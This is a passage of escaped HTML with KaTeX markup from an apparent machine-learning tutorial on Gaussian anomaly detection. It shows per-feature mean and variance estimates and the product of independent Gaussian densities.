mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2663em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.3675em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.6875em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;⋮&lt;/span&gt;&lt;span class=&#34;mord rule&#34; style=&#34;border-right-width:0em;border-top-width:1.5em;bottom:0em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-1.9627em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.6875em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0448em;&#34;&gt;&lt;span style=&#34;top:-2.5834em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2198em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1166em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.0848em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;&lt;span class=&#34;delimsizing mult&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.65em;&#34;&gt;&lt;span style=&#34;top:-4.65em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:6.8em;&#34;&gt;&lt;/span&gt;&lt;span style=&#34;width:0.667em;height:4.8em;&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; width=&#34;0.667em&#34; height=&#34;4.8em&#34; viewBox=&#34;0 0 667 4800&#34;&gt;&lt;path d=&#34;M347 1759 V0 H0 V84 H263 V1759 v1200 v1759 H0 v84 H347z
M347 1759 V0 H263 V1759 v1200 v1759 h84z&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Fit the Gaussian parameters separately for each feature:&lt;/p&gt;
&lt;p&gt;&lt;span class=&#34;katex-display&#34;&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34; display=&#34;block&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mfrac&gt;&lt;munderover&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/munderover&gt;&lt;msubsup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msubsup&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;mspace width=&#34;2em&#34;/&gt;&lt;msubsup&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msubsup&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mfrac&gt;&lt;munderover&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/munderover&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msubsup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msubsup&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;/msub&gt;&lt;msup&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;.&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\mu_j=\frac1m\sum_{i=1}^m x_j^{(i)},\qquad
\sigma_j^2=\frac1m\sum_{i=1}^m(x_j^{(i)}-\mu_j)^2.
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.7167em;vertical-align:-0.2861em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;μ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2861em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:2.9291em;vertical-align:-1.2777em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.3214em;&#34;&gt;&lt;span style=&#34;top:-2.314em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.677em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.686em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop op-limits&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.6514em;&#34;&gt;&lt;span style=&#34;top:-1.8723em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span&gt;&lt;span class=&#34;mop op-symbol large-op&#34;&gt;∑&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-4.3em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.2777em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0448em;&#34;&gt;&lt;span style=&#34;top:-2.4231em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2198em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.413em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:2em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;σ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8641em;&#34;&gt;&lt;span style=&#34;top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.113em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3831em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:2.9291em;vertical-align:-1.2777em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.3214em;&#34;&gt;&lt;span style=&#34;top:-2.314em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.677em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.686em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop op-limits&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.6514em;&#34;&gt;&lt;span style=&#34;top:-1.8723em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span&gt;&lt;span class=&#34;mop op-symbol large-op&#34;&gt;∑&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-4.3em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.2777em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0448em;&#34;&gt;&lt;span style=&#34;top:-2.4231em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2198em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.413em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.1502em;vertical-align:-0.2861em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;μ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2861em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8641em;&#34;&gt;&lt;span style=&#34;top:-3.113em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Under the independent-feature model, multiply the densities:&lt;/p&gt;
&lt;p&gt;&lt;span class=&#34;katex-display&#34;&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34; display=&#34;block&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;munderover&gt;&lt;mo&gt;∏&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/munderover&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;munderover&gt;&lt;mo&gt;∏&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/munderover&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;/msub&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;/msub&gt;&lt;msup&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;msubsup&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msubsup&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;.&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;p(x)=\prod_{j=1}^n p(x_j)=\prod_{j=1}^n\frac{1}{\sigma_j\sqrt{2\pi}}e^{-\frac{(x_j-\mu_j)^2}{2\sigma_j^2}}.
